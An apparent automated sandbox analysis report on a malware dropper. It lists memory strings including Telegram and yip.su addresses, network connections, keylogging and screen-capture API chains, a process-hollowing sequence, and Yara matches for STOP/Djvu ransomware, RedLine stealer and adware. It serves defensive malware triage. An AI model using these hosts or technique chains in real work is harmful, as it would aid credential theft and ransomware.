Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17er
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunl
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe, 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/iyigunlsql.dllsqlr.dllIn
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: mozglue[1].dll.15.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegAsm.exe, 0000000B.00000002.2418352695.000000002735C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000CD1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2759146607.00000000271A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000042C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000042C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: RegAsm.exe, 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000042C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2728156289.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: RegAsm.exe, 0000000F.00000002.2728156289.000000000042C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://www.nuget.org/packages/Microsoft.Identity.Json.Bson
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF321C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/(
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/1cN8u7
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/1cN8u74
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/1cN8u7=
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF508C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/Pt
Source: gHPYUEh253.exe, 00000000.00000002.1857130429.0000013EF5001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yip.su:443/1cN8u7

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443

Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.123:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 186.64.114.115:443 -> 192.168.2.4:49807 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe

Code function: 8_2_00408DBB SetWindowsHookExW 00000002,Function_00008D8D,00000000,00000000

8_2_00408DBB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00418AB0 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GlobalFix,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

11_2_00418AB0

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8G7TUoanzGVBa0kCulY_TPPa.exe PID: 7860, type: MEMORYSTR

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8120, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 12.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788, type: MEMORYSTR	Matched rule: Detects Molerats sample - July 2017 Author: Florian Roth
Source: Process Memory Space: 8G7TUoanzGVBa0kCulY_TPPa.exe PID: 7860, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

.NET source code contains very large array initializations

Source: 66d0cd9a65b5d_vqwergf[1].exe.0.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 176128
Source: 66d0cd9755a01_sbwd[1].exe.0.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe.0.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 176128
Source: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe.0.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: 0.3.gHPYUEh253.exe.13ef521f460.6.raw.unpack, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000
Source: 0.3.gHPYUEh253.exe.13ef521f460.7.raw.unpack, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 192000

PE file contains section with special chars

Source: gHPYUEh253.exe	Static PE information: section name: .vmp
Source: gHPYUEh253.exe	Static PE information: section name: .vmp
Source: gHPYUEh253.exe	Static PE information: section name: .vmp

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E0110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	9_2_020E0110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F4B8C0 rand_s,NtQueryVirtualMemory,	11_2_68F4B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F4B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	11_2_68F4B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_68EEF280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	11_2_68F0ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F4B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	11_2_68F4B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_691162C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,memcpy,memcpy,	11_2_691162C0

Source: C:\Windows\SysWOW64\schtasks.exe	File created: C:\Windows\Tasks\bGRMUcRlXIkCKIeoVz.job
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Adm
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Machine
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\User
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\system32\GroupPolicy\gpt.ini

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

File deleted: C:\Windows\SysWOW64\GroupPolicypnDgS

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Code function: 2_2_03160B3A	2_2_03160B3A
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Code function: 3_2_016F0B3A	3_2_016F0B3A
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_004162A6	7_2_004162A6
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_0040E5A5	7_2_0040E5A5
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_004126B0	7_2_004126B0
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00403A01	7_2_00403A01
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00418EF1	7_2_00418EF1
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00418FCB	7_2_00418FCB
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00405BFC	8_2_00405BFC
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040B0E0	8_2_0040B0E0
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040B0E4	8_2_0040B0E4
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00419973	8_2_00419973
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040A900	8_2_0040A900
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040A270	8_2_0040A270
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040AC20	8_2_0040AC20
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00409C20	8_2_00409C20
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040D480	8_2_0040D480
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040ED00	8_2_0040ED00
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00409DD0	8_2_00409DD0
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00419601	8_2_00419601
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_004196DB	8_2_004196DB
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_00418F40	8_2_00418F40
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_00401FC0	9_2_00401FC0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E7220	9_2_020E7220
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_021622C0	9_2_021622C0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0212E37C	9_2_0212E37C
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E7393	9_2_020E7393
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EB000	9_2_020EB000
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EA026	9_2_020EA026
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020FF030	9_2_020FF030
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EB0B0	9_2_020EB0B0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020F00D0	9_2_020F00D0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E70E0	9_2_020E70E0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E30F0	9_2_020E30F0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E9120	9_2_020E9120
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0212E141	9_2_0212E141
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0210D1A4	9_2_0210D1A4
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0212B69F	9_2_0212B69F
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EA699	9_2_020EA699
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EE6E0	9_2_020EE6E0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EC760	9_2_020EC760
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EA79A	9_2_020EA79A
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0210D7F1	9_2_0210D7F1
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E3520	9_2_020E3520
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E7520	9_2_020E7520
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020ECA10	9_2_020ECA10
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E7A80	9_2_020E7A80
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020F0B00	9_2_020F0B00
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E2B60	9_2_020E2B60
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EDBE0	9_2_020EDBE0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E7880	9_2_020E7880
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_021018D0	9_2_021018D0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020EA916	9_2_020EA916
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0210F9B0	9_2_0210F9B0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_0210E9A3	9_2_0210E9A3
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E89D0	9_2_020E89D0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E59F7	9_2_020E59F7
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E8E60	9_2_020E8E60
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_02114E9F	9_2_02114E9F
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_02122D1E	9_2_02122D1E
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E5DE7	9_2_020E5DE7
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E5DF7	9_2_020E5DF7
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_01AFF2D8	10_2_01AFF2D8
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_01AF4928	10_2_01AF4928
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_01AF491E	10_2_01AF491E
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D00E68	10_2_05D00E68
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D019E0	10_2_05D019E0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D03B50	10_2_05D03B50
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D054F8	10_2_05D054F8
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D054EB	10_2_05D054EB
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D02FC0	10_2_05D02FC0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D02FB0	10_2_05D02FB0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D08704	10_2_05D08704
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D00E59	10_2_05D00E59
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D023D0	10_2_05D023D0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D023C0	10_2_05D023C0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05D03B40	10_2_05D03B40
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EB8518	10_2_05EB8518
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EB5851	10_2_05EB5851
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EB93F0	10_2_05EB93F0
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EBBFF8	10_2_05EBBFF8
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EBF080	10_2_05EBF080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EE35A0	11_2_68EE35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0C0E0	11_2_68F0C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F258E0	11_2_68F258E0
